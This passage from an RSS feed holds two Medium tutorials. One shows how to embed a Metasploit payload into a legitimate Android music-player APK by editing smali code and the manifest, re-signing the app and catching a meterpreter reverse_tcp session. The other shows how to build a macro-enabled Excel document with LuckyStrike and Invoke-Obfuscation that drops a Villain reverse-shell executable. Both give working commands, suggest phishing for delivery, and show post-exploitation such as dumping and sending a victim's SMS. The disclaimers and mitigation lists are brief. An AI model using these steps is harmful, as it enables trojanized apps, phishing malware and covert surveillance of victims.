directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V62pY_IEoygZkEew1lvhyQ.png" /><figcaption>Figure 2.3</figcaption></figure><p>By doing so, we are incorporating the permissions from the malicious_dir into the AndroidManifest.xml file within the Original directory. This ensures that the permissions required by the malicious payload are added to the original APK.</p><p><strong>Note: </strong>Please ensure to remove any duplicate permissions from the `AndroidManifest.xml` file in the `Original` directory after pasting the permissions from the `malicious_dir`.</p><p>Next, within the same AndroidManifest.xml file, use the search function to locate the keyword action.MAIN. This keyword is typically associated with the main entry point of the application.</p><p>Furthermore, within the &lt;activity&gt; element, perform another search for the keyword com.musicplayer.player.mp3player.white.start.MainActivity (Figure 2.4). This specific keyword pertains to the main activity of the music player application. Please note that the specific directory com.musicplayer.player.mp3player.white.start and the file MainActivity may vary in different APK applications. It is important to adapt the search to match the directory and file names relevant to the specific APK we are working with.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Vvn9exJMlsJS__EhyOGyiA.png" /><figcaption>Figure 2.4</figcaption></figure><p>Next, navigate to the smali/com/musicplayer/player/mp3player/white/start directory within the Original directory. From there, open the MainActivity.smali file (Figure 2.5).</p><p>To accomplish this, we can use a file explorer or execute the following commands in a terminal or command prompt.</p><pre>cd Original/smali/com/musicplayer/player/mp3player/white/start</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*57-JicoyULdLnGgQvcPYGA.png" /><figcaption>Figure 2.5</figcaption></figure><p>After opening the MainActivity.smali file, we can search for the line of code that contains OnCreate(Landroid/os/Bundle;)V. This line refers to the onCreate method of the MainActivity class, which takes a Bundle object as a parameter and has a void return type (Figure 2.6).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BGJADgASvDp5d0Jtw2D18g.png" /><figcaption>Figure 2.6</figcaption></figure><p>At the next line after the OnCreate(Landroid/os/Bundle;)V method in the MainActivity.smali file, we need to paste the following line of code:</p><pre>invoke-static {p0}, Lcom/metasploit/stage/Payload;-&gt;start(Landroid/content/Context;)V</pre><p>This line of code is an instruction in Smali assembly language. Let’s break it down:</p><ul><li>invoke-static: This instruction is used to invoke a static method from a class.</li><li>{p0}: This is the register representing the method parameter. In this case, p0 refers to the instance of the current class (the MainActivity class).</li><li>Lcom/metasploit/stage/Payload: This is the fully qualified class name of the class containing the static method wewant to invoke. In this case, it refers to the class Payload within the com.metasploit.stage package.</li><li>start: This is the name of the static method we want to invoke. In this case, it is the start method.</li><li>(Landroid/content/Context;)V: This is the method signature. It specifies the type of the parameter and the return type of the method. In this case, it indicates that the start method takes an android.content.Context object as a parameter and has a void return type (V).</li></ul><p>By adding this line of code, we are invoking the start method of the Payload class, passing the current instance of the MainActivity class as the parameter. This is a way to incorporate the Metasploit payload functionality into the MainActivity class of the APK (Figure 2.7).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jJaXbHx44-8vqi1sUj9xrg.png" /><figcaption>Figure 2.7</figcaption></figure><p>After making the necessary modifications to the MainActivity.smali file. Save the file and get exit to it.</p><p>Now we are done with the modifications to the MainActivity.smali file.</p><h4>Recompiling the Modified APK File:</h4><p>Next, we can proceed further to recompile the Original directory. With the necessary modifications made and the payload integrated, it is time to convert the modified Smali code and resources back into a binary APK format.</p><p><strong>Note</strong>: I have attempted to use the latest version of APKTool but encountered errors during the compilation process. As a result, I have chosen to revert to APKTool version 2.4.1, which has provided a successful recompilation experience.</p><p>For the recompilation process, we can utilize APKTool version 2.4.1. In case you do not have this version installed, you can download the apktool_2.4.1.jar file from → <a href="https://bitbucket.org/iBotPeaches/apktool/downloads/">link</a>.</p><p>Once we have obtained the apktool_2.4.1.jar file, we can execute the following command to recompile the Original directory (Figure 3.1):</p><pre>java -jar ~/Downloads/apktool_2.4.1.jar b Original</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vja43cRrUySPoxb4gf4aMg.png" /><figcaption>Figure 3.0</figcaption></figure><p>Ensure that you have the correct path to the apktool_2.4.1.jar file and that the Original directory is located in the appropriate location. The recompilation process will convert the modified Smali code and resources back into a binary APK file.</p><h4>Signing the APK File:</h4><p>Next, we need to sign the APK file because starting from a certain Android version, installing an Android application on a smartphone requires it to be digitally signed.</p><p>we can’t install an APK file that is not signed is due to security measures implemented by the Android operating system. Digital signing provides a way to verify the authenticity and integrity of the APK file. When an APK file is signed, it includes a digital signature that serves as a unique identifier for the developer or organization responsible for the app.</p><p>To sign an APK file, the first step is to generate a key. Execute the following command to generate a key (Figure 4.0):</p><pre>keytool -genkey -V -keystore ~/Documents/Medium/p3/key.keystore -alias elliot -keyalg RSA -keysize 2048 -validity 1000</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hgnG1cbpk3NlKL99MrYfMQ.png" /><figcaption>Figure 4.0</figcaption></figure><p>Fill up the required options and press ENTER.</p><p>After generating the key, the next step is to digitally sign the APK file using the generated keystore. This process involves applying a digital signature to the APK file to ensure its authenticity and integrity.</p><p>To sign the APK file, we can use the jarsigner tool, which is included in the Java Development Kit (JDK). The jarsigner tool allows us to sign JAR files, including APK files, with a specified keystore and key alias (Figure 4.1).</p><pre>jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore ~/Documents/Medium/p3/key.keystore Music_Player4.2.7.apk &lt;alias_name&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3qqYUvCyI-MMPSBI793ZUQ.png" /><figcaption>Figure 4.1</figcaption></figure><p>Now, we need to use the zipalign tool to optimize and align the APK file for efficient performance on Android devices (Figure 4.2). This step is crucial to ensure that the APK file&#39;s resources and data are aligned on specific byte boundaries. This improves the overall efficiency and reduces memory consumption when the application is installed and run on Android devices.</p><pre>zipalign -v 4 Music_Player4.2.7.apk music_final.apk</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gpqInpQM2iijadWyaB7U-w.png" /><figcaption>Figure 4.2</figcaption></figure><p>A new APK file is generated with the name of music_final.apk. This is our final APK file which we are going to install on victim mobile phone.</p><p>Finally, we have completed the signing process for the APK file.</p><h4>Starting msfconsole:</h4><p>Before proceeding, we need to start our Metasploit multi/handler (Figure 4.3).</p><pre>msfconsole -q</pre><p>Start multi/handler listener in Metasploit Framework with the appropriate Payload, LHOST and LPORT values (Figure 4.4).</p><p>For example:</p><pre>use multi/handler<br>set payload android/meterpreter/reverse_tcp<br>set LHOST 0.0.0.0<br>set LPORT &lt;ngrok_forwarding_port&gt;<br>exploit</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pPoBka1L0lly3E0ZDxuUtg.png" /><figcaption>Figure 4.3</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CF3iaAont6hmDBHqkU0T2Q.png" /><figcaption>Figure 4.4</figcaption></figure><h4>Testing the APK:</h4><p>Next we have to send this APK file to our victim mobile phone. You can use phishing campaign or Social-engineering to deliver this APK file. For this demonstration, I will be utilizing an Android Studio Nexus 5X smartphone running Android 10 (Figure 5.0). The device will serve as the testing environment for our purposes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/706/1*qiXxBVmwG1V5bi6sWj_fxg.png" /><figcaption>Figure 5.0</figcaption></figure><p>I have already installed the APK file on mobile phone (Figure 5.1). Now, let’s open the app and see if we are able to establish a reverse TCP connection to our Metasploit listener (Figure 5.2). This will allow us to determine if the connection is successfully established and if we can proceed with further actions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/570/1*EStypUxe74J8Zf3kXjkV3Q.png" /><figcaption>Figure 5.1 (All permissions are granted)</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/732/1*pmcI7Ow_bhyqSOmMavSIjQ.png" /><figcaption>Figure 5.2 (music app open)</figcaption></figure><p>Now, let’s switch back to our Kali machine and examine the results to see what we have obtained from the connection (Figure 5.3).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*43zZRb1XqZkylTLLDv2ZvQ.png" /><figcaption>Figure 5.3</figcaption></figure><p>As observed, we have successfully established a reverse TCP connection. However, it is crucial to acknowledge that the installed application may trigger antivirus software and be identified as a trojan or malicious app. This detection can occur due to the nature of the payload embedded in the APK file.</p><p>To address this issue, we will delve into a more detailed exploration of antivirus detection and potential solutions in a separate article. In that article, we will discuss strategies to mitigate antivirus detection, including payload modifications, obfuscation techniques, and evasion mechanisms.</p><h4>Metasploit Commands and Operations:</h4><p>Now, let’s dive into the Metasploit console and explore the available commands to further analyze our established reverse TCP connection. To access a list of commands, simply type “help” in the console. This will provide us with a comprehensive overview of the available commands and their functionalities.</p><p>Let’s attempt to dump the SMS messages from the compromised device by using the “dump_sms” command (Figure 6.1). This command is specifically designed to extract and display SMS data from the target device. Execute the “dump_sms” command in the Metasploit console to initiate the process (Figure 6.2).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/634/1*SQlUXgvsh38pITc6PPwQVA.png" /><figcaption>Figure 6.0</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/860/1*CMNMgChXO4PMXdUXnQewAg.png" /><figcaption>Figure 6.1</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rvey1NIvYlpQuwir3Xe3zA.png" /><figcaption>Figure 6.2</figcaption></figure><p>As demonstrated, we have successfully executed the “dump_sms” command and retrieved all SMS messages from the victim’s mobile device.</p><p>Now, let’s proceed with sending a custom SMS message from the Metasploit console. This command send_sms`will simulate the sending of an SMS from the victim’s mobile device to another phone number (Figure 6.3).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ePWwFbK-EMMJtXJ6R0yudg.png" /><figcaption>Figure 6.3</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/608/1*hvdVG-H-Cr0DHwm3bLGRWQ.png" /><figcaption>Figure 6.4</figcaption></figure><p>As demonstrated, we have successfully sent a custom SMS message from the victim’s machine using the Metasploit console. This functionality showcases our ability to manipulate SMS communication and send messages from the compromised device to another phone number.</p><p>Indeed, Metasploit provides a wide range of functionalities and operations beyond just SMS manipulation. It offers capabilities to perform various tasks, such as geolocation tracking, exploiting vulnerabilities, conducting network scanning, escalating privileges, and much more. These features empower security professionals and ethical hackers to assess the security posture of systems, identify weaknesses, and implement appropriate safeguards.</p><h4>Summary:</h4><p>This article covered the process of manually embedding a malicious payload into an APK file, starting from generating the payload using the msfvenom tool to decompiling and modifying the base APK file. We explored steps such as accessing the smali directory, copying the Metasploit directory, modifying the AndroidManifest.xml file, and adding custom code to the MainActivity.smali file. The recompilation, signing, and zipaligning of the modified APK file were also discussed.</p><p>We acknowledged the potential detection of the APK file as a trojan or malicious app by antivirus software and highlighted the need to address this issue responsibly. Additionally, we briefly mentioned the utilization of phishing campaigns or social engineering to distribute the APK file.</p><p>Furthermore, we briefly mentioned the importance of starting ngrok and the Metasploit multi/handler exploit, and we demonstrated the process of establishing a reverse TCP connection to the Metasploit listener. The use of Metasploit commands, such as “dump_sms” to retrieve SMS messages and “send_sms” to sending custom SMS messages, was also touched upon.</p><p>Finally, we highlighted the versatility of Metasploit, mentioning operations such as geolocation tracking and the wide range of functionalities it offers for security testing, vulnerability assessment, and network exploration. It was emphasized that ethical hacking and security testing should always be conducted within legal and ethical boundaries, respecting privacy and obtaining proper authorization.</p><h4>Mitigation and Prevention Strategies:</h4><p>1. Source App Downloads from Trusted Stores: Only download applications from official and reputable app stores. Avoid downloading apps from third-party sources, as they may contain malicious payloads embedded in APK files.</p><p>2. Install and Update Antivirus Software: Use reliable antivirus software on your device and keep it up to date. Antivirus software can detect and block malicious apps, providing an additional layer of protection.</p><p>3. Exercise Caution with App Permissions: Review the permissions requested by each app before installation. Be skeptical of apps that request excessive permissions that are not necessary for their intended functionality.</p><p>4. Regularly Update Software and Operating System: Keep your device’s software, operating system, and applications up to date with the latest security patches. Updates often address vulnerabilities that can be exploited by malicious actors.</p><p>5. Educate Users on Security Awareness: Promote user awareness and education about the risks associated with downloading and installing apps from unknown sources. Encourage users to practice safe browsing habits and exercise caution when granting permissions or clicking on suspicious links.</p><p>By implementing these key strategies, individuals and organizations can significantly reduce the risk of embedding or encountering malicious payloads in APK files, enhancing overall cybersecurity and protecting against potential threats.</p><p>Thank you for taking the time to read this blog post. I hope that you have found the information provided useful and informative. My goal is to raise awareness about the importance of cybersecurity and help individuals protect themselves and their systems from online threats. If you have any feedback or suggestions for future topics, we would love to hear from you. Thanks again for your interest, and stay safe online!</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2Fup74xBlpe7U%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3Dup74xBlpe7U&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2Fup74xBlpe7U%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/ba1a5e55bbaa0e45674b0fdef3739db8/href">https://medium.com/media/ba1a5e55bbaa0e45674b0fdef3739db8/href</a></iframe><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=aa6876d8958e" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/unleashing-chaos-manually-embedding-a-malicious-payload-into-an-apk-file-a-closer-look-into-aa6876d8958e">Unleashing Chaos: Manually Embedding a Malicious Payload into an APK File — A Closer Look into…</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Weaponizing Documents with LuckyStrike: A Malicious Approach]]></title>
            <link>https://systemweakness.com/weaponizing-documents-with-luckystrike-a-malicious-approach-d2eeadc4c7fe?source=rss-edb4f8df156a------2</link>
            <guid isPermaLink="false">https://medium.com/p/d2eeadc4c7fe</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Vishal Raj]]></dc:creator>
            <pubDate>Sun, 07 May 2023 14:31:08 GMT</pubDate>
            <atom:updated>2023-05-11T11:49:29.519Z</atom:updated>
            <content:encoded><![CDATA[<h4>Understanding Document Weaponization for Cybersecurity Professionals.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aBuA7L1WfFOmLdVpc-SVRA.jpeg" /><figcaption>Mr. Robot</figcaption></figure><h3>Introduction:</h3><p>In today’s digital age, cyberattacks are becoming increasingly sophisticated and dangerous. Hackers and cyber criminals are constantly finding new ways to infiltrate networks and steal sensitive information, and one of the most effective ways they do this is through malicious documents.</p><p><strong>LuckyStrike: </strong>A PowerShell based utility which is a powerful tool that allows attackers to easily generate malicious documents, making it easier than ever for them to carry out devastating cyberattacks.</p><p>In this article, we will explore the capabilities of LuckyStrike and dive into the world of malicious document creation, discussing the different types of attacks that can be launched using this tool. From phishing emails to malware-infected documents, we will explore the dark side of LuckyStrike and how it is being used by cyber criminals to wreak havoc in the digital world. So, buckle up and get ready for a deep dive into the dangerous world of malicious document creation with LuckyStrike.</p><h4>Download links:</h4><p>LuckyStrike:- <a href="https://github.com/curi0usJack/luckystrike">https://github.com/curi0usJack/luckystrike</a></p><p>Invoke-Obfuscation:- <a href="https://github.com/danielbohannon/Invoke-Obfuscation">https://github.com/danielbohannon/Invoke-Obfuscation</a></p><p>Villain:- <a href="https://github.com/t3l3machus/Villain">https://github.com/t3l3machus/Villain</a></p><p>PS2EXE: <a href="https://github.com/MScholtes/PS2EXE">https://github.com/MScholtes/PS2EXE</a></p><h4>Disclaimer:</h4><p>The information in this article is provided for educational purposes only. The techniques and tools discussed are intended for authorized use only. The authors and publisher of this article are not responsible for any misuse or illegal activities that result from the use of these techniques and tools. We do not condone illegal activities and encourage readers to use these techniques and tools in an ethical and legal manner.</p><h4>Phishing Scenario:</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ki5aRhhW0qQaP4HmSPrVvg.png" /><figcaption>Phishing Scenerio</figcaption></figure><p>The first step is to create a malicious document containing a payload that will enable an attacker to establish a reverse connection to the victim’s machine. The attacker can then send this document to the victim using a phishing campaign or other social engineering techniques. Once the victim executes the malicious script contained in the document, a reverse connection is established between the victim’s machine and the attacker’s machine. This allows the attacker to gain control of the victim’s machine and execute various post-exploitation activities.</p><h4>Infrastructure:</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Gs6zkHa7a5MNEizMdrdfMw.jpeg" /><figcaption>Infrastructure</figcaption></figure><p>For this demonstration, we will be using three machines that are all under our control. The first machine is a Windows virtual machine, which will be used to generate the malicious document using LuckyStrike. The second machine is a Kali Linux operating system, which will be used to generate the payload that will be embedded into the document. Finally, the third machine is the target machine, which is also under our control.</p><p>By using these three machines, we can create a controlled environment for generating and testing the malicious document. This allows us to ensure that the document will only impact the target machine and will not cause any unintended harm. Additionally, by using a virtual machine, we can easily reset the environment and start again if needed.</p><p>“Without further delay, let’s dive into it…”</p><h4>1. Generating malicious payload</h4><p>First of all, we need to generate a malicious payload that we will embed into a document. I’m going to use villain to generate backdoor. Villain is a C2 framework that can handle multiple TCP socket &amp; HoaxShell-based reverse shells.</p><blockquote>Note: I will be using Villain to generate the payload in this article, it’s worth mentioning that there are other C2 server available that can be used for this purpose, such as Empire and msfvenom. You can choose the tool that best suits your needs and preferences.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/772/1*KjlbcApe4kWvfEpMFKvsCw.png" /><figcaption>Villain</figcaption></figure><p>Please note that in this article, I will not be showcasing how to generate a backdoor using Villain, as I have already demonstrated that in a previous article. Instead, I will focus on generating a malicious document using LuckyStrike and embedding the previously generated payload into it. If you are interested in learning how to generate a backdoor using Villain, please refer to my previous article where I provide a detailed demonstration. Link:- <a href="https://medium.com/system-weakness/creating-a-undetectable-backdoor-for-windows-using-villain-532eb2604eb4">https://medium.com/system-weakness/creating-a-undetectable-backdoor-for-windows-using-villain-532eb2604eb4</a></p><h4>2. Setting up our environment:</h4><p>First, we need to download LuckyStrike and invoke-obfuscation tool onto our Windows machine. I have provided the GitHub link above from where you can download them. Once you have downloaded, create a new folder on your desktop (you can choose any name according to your preference) here I’m creating directory named ‘Invoke’ and extract the files to that folder.</p><p>After extracting the files, open PowerShell as an administrator. Navigate to the directory where you extracted them. Then Navigate to luckystrike directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/951/1*lo9OvzROQNclBEbQK2iLJA.png" /><figcaption>PowerShell</figcaption></figure><p>Next, you should see a PowerShell script named ‘luckystrike.ps1’. Execute it by entering .\luckystrike.ps1 and pressing enter.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1004/1*9nHBrQkhKVKCfvp4SRyBLw.png" /><figcaption>LuckyStrike Module not installed warning.</figcaption></figure><p>Here we are getting this warning that module Invoke-Obfuscation not installed. To resolve this problem we need to import Invoke-Obfuscation module into our system and copy Invoke-Obfuscation-Master to path directory that PowerShell uses to search for PowerShell modules. To import module execute this commands.</p><p>Follow these steps:-</p><ol><li>Go one directory back by entering cd ..</li><li>Then change your directory to Invoke-Obfuscation-master by entering cd .\Invoke-Obfuscation-master</li><li>Next execute the command Import-Module .\Invoke-Obfuscation.psd1</li><li>Go back to the previous directory again by entering cd ..</li><li>Finally execute the command Invoke-Obfuscation.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cjzZhs2yeWMk8lrFMwjHxA.png" /><figcaption>Invoke-Obfuscation</figcaption></figure><p>Next, we need to add this `Invoke-Obfuscation-Master` directory to the environment path directory. Follow the next steps:-</p><ol><li>Run the command $env:PSModulePath.This will output a list of directories that are currently in the environment path for PowerShell.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RvL-6Wp98F9WtfQv7azZXA.png" /><figcaption>Env path variables</figcaption></figure><p>2. Copy `Invoke-Obfuscation-Master` directory and paste it into one of the environment path. After pasting, rename the directory from Invoke-Obfuscation-Master to Invoke-Obfuscation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D_z3C2yZD5K0gZya3Qe-Og.png" /><figcaption>Adding Invoke-Obfuscation to env path directory</figcaption></figure><p>Now, we are good to go and we should probably not get that warning again. Let’s try to run the luckystrike script once again. Navigate to the luckystrike directory and execute the .\luckystrike.ps1 script.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8W9eRMStSygqg9QbD9OnvA.png" /><figcaption>No warning… ‘Module Invoke-Obfuscation not installed‘</figcaption></figure><h4>Downloading malicious script on Windows VM:</h4><p>Now we have to download the malicious PowerShell script from kali OS to Windows OS. we can save the script into a file on the Kali machine and then run a local web server on the Kali machine. From the Windows machine, we can then download the script by accessing the URL of the web server.</p><blockquote>Note: All of the machines involved in this demonstration are running on the same local network. Therefore, there was no need to enable port forwarding or perform any external routing.</blockquote><p>To run a local web server on Kali, we can use the following command: python3 -m http.server 8082. This command will start a web server on port 8082.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pNUhZ2ZMLHmEPfQc6CDsaA.png" /><figcaption>Starting a web-server</figcaption></figure><p>Now we can download the script from the Windows machine by accessing the URL of the web server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/833/1*DMyEOWo1UVlpIT4oseaEzA.png" /><figcaption>Downloading malicious script</figcaption></figure><p>click on the “script.ps1” file to initiate the download process. After downloading move the script script.ps1from Download directory to Desktop\Invoke where LuckyStrike directory is present.</p><h4>Converting .ps1 script into .exe file:</h4><p>Now we need to convert the PowerShell script from a .ps1 file to an .exe file using the ps2exe tool. In the PowerShell command prompt, navigate to the Desktop\Invoke directory and run the following command:</p><pre>Install-Module ps2exe<br>Invoke-ps2exe .\script.ps1 .\malicious.exe</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/886/1*d4PHUHbxgQJlAUDeGB7W0Q.png" /></figure><blockquote><strong>Now, We have all the tools we need to begin.</strong></blockquote><h4>3. Generating malicious Document using LuckyStrike:</h4><p>Now, we need to embed ‘malicious.exe’ file into a document. Open the PowerShell as administrator on your Windows VM, and navigate to C:\\Users\Username\Desktop\Invoke\luckystrike\ (Make sure to replace “Username” with your own Windows username).</p><p>On luckystrike directory execute script by entering .\luckystrike.ps1 and pressing enter.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/661/1*A6e6eofCKiLabPR4P2W2Gw.png" /></figure><ol><li>First, we have to add our malicious payload to the catalog. To do this, follow the steps below:</li></ol><pre>1. Select <em>option 2</em> for Catalog Options.<br>2. On Catalog Options, select <em>option 1</em> for Add payload to catalog.<br>3. After that, enter your desired title.<br>4. You can skip Target IP, Target Port, Description as they are optional.<br>5. Select <em>option 3</em> to choose payload type as Executable.<br>6. Enter the full path to .exe file: C:\Users\Username\Desktop\Invoke\malicious.exe<br><br>Our payload added successfully now go back to MainMenu</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/561/1*QXZb0LotnKULv5qKNePdcQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/902/1*pBwI8PDeh4A_5RB4sz9bPQ.png" /></figure><p>2. Now, we have to select the payload that we added to our catalog option. Follow the step below:</p><pre>1. From the Main Menu select option 1 for Payload Option.<br>2. On payload option select <em>option 1</em> to Select a payload.<br>3. Then select option 1 to select xls document type.<br>4. Now select payload which is option 1 villian exe.<br>5. Now, select the infection mode. For example, if you want to use Certutil as your infection mode, select <em>option 1</em>.<br><br>Now go back to Main Menu.</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/862/1*1g-StIHOPYlKE1OJve6aMQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/930/1*eO9JAXeLDuTJyH_lasXlFg.png" /></figure><p>3. Finally, we need to generate the malicious document file. Follow the step below:</p><pre>1. From Main Menu select option 3 which is File option.<br>  Inside the File Option menu, you can choose to generate a new file or upload an existing file. In this case, I will be generating a new file.<br>2. select option 1 to generate new file</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kgXRVbRMn7qhGbpoe_e4qA.png" /></figure><p>At this point, our malicious document has been successfully generated and saved into the payload directory inside the luckystrike folder.</p><p>Here, we also received an error message indicating that our script was unable to find the specified registry key location &#39;HKLM:\SOFTWARE\Wow6432Node\Microsoft\Office\16.0\Outlook&#39;. It seems that the script is attempting to access a particular registry key value related to Microsoft Office Outlook but cannot find it on the system. This may occur if the version of Microsoft Office installed on the system is different, or if the registry key location has been modified or deleted. However, we do not need to be concerned as our document was created successfully.</p><p>Finally!!! we are done at this point and now we can send this malicious document to victim PC and manipulate them to execute it.</p><h4>4. Delivering the malicious document to a victim computer:</h4><p>Now comes the interesting part, where attacker use social engineering to manipulate the victim into executing our document. We can do this by sending the document through a phishing email. This involves crafting an email that appears to be from a legitimate source, such as a well-known company or organization, and tricking the victim into opening the attached document. Once the victim opens the document and enable the macro, the payload get executed, and the attacker gains access to the victim’s system.</p><p>In this demonstration, we will be sending a malicious document to the victim&#39;s machine and executing it to observe the results.</p><p>I downloaded the malicious document onto the victim desktop and renamed it to ‘important.xls’. Double-click the file to open it, then click “Enable Content” to enable the macro.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/796/1*BfsrZG8qa4kfBSbc-NJocA.png" /><figcaption>Victim PC</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qrDkpeT96vwlDXGX4gg5Cg.png" /><figcaption>Victim PC</figcaption></figure><p>Once the macro is enabled, the malicious script will execute and we should be able to establish a reverse shell on the attacker machine. Let’s return to Kali machine to check whether we got a reverse connection or not.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*maks16ZQSfyJ8jfYbafK9g.png" /></figure><p>voila🔥! We have successfully established a reverse connection from the victim machine to our Kali machine. This means that we have complete access to the victim’s system and can execute any commands as if we were physically present on the machine.</p><p>Let’s try to interact with victim PC.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cWn6cJ4IiuQTd45Mqun03w.png" /></figure><p>As you can see we are able to get victim system information. Now, let’s try to create a text file on victim Desktop.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KUO4ve8vBgNwoLnH4w_Bnw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qfb4CfICvxQNRxMcpLWjiQ.png" /></figure><p>At this point, the attacker has full control over the victim PC and can carry out a range of post-exploitation activities, depending on their intentions and objectives. They can use the compromised system as a foothold to conduct further attacks on the victim network or other connected networks. The attacker can steal sensitive data such as login credentials, financial information, and confidential business data. They can also perform destructive activities such as modifying, deleting, or encrypting files, disrupting system operations, and causing damage to the victim’s reputation. Moreover, attackers can establish persistence on the victim machine, which allows them to maintain access even if the system is rebooted or network connections are changed. This can be achieved by creating new user accounts, installing backdoors or rootkits, modifying system files or registry keys, or using legitimate tools such as scheduled tasks or startup programs.</p><h4>Mitigation and Prevention Strategies:</h4><ol><li>Keep all software up to date: Make sure that all the software installed on the system is updated to the latest version.</li><li>Disable Macros: One of the easiest ways to prevent the execution of malicious macros is to disable them completely.</li><li>Firewall Configuration: Configuring the firewall to only allow necessary incoming and outgoing traffic can also help prevent attacks like these.</li><li>Anti-Virus and Anti-Malware Software: A robust anti-virus and anti-malware software can detect and remove malicious files and scripts.</li><li>Restricted User Accounts: Users should be given the least privilege necessary to perform their job duties.This helps to limit the damage that can be caused by a compromised account.</li><li>System Monitoring and Logging: Regular monitoring and logging of system activity can help detect and respond to attacks quickly.</li></ol><h4>Conclusion:</h4><p>This article provided a detailed walkthrough of how to create a malicious macro-enabled document that can be used for phishing attacks. It also explained the steps to generate a reverse connection between the victim machine and the attacker machine. The article highlighted the potential risks associated with these types of attacks and provided some mitigation and prevention strategies to protect against them.</p><p>Thank you for taking the time to read this blog post. I hope that you have found the information provided useful and informative. My goal is to raise awareness about the importance of cybersecurity and help individuals protect themselves and their systems from online threats. If you have any feedback or suggestions for future topics, we would love to hear from you. Thanks again for your interest, and stay safe online!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d2eeadc4c7fe" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/weaponizing-documents-with-luckystrike-a-malicious-approach-d2eeadc4c7fe">Weaponizing Documents with LuckyStrike: A Malicious Approach</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>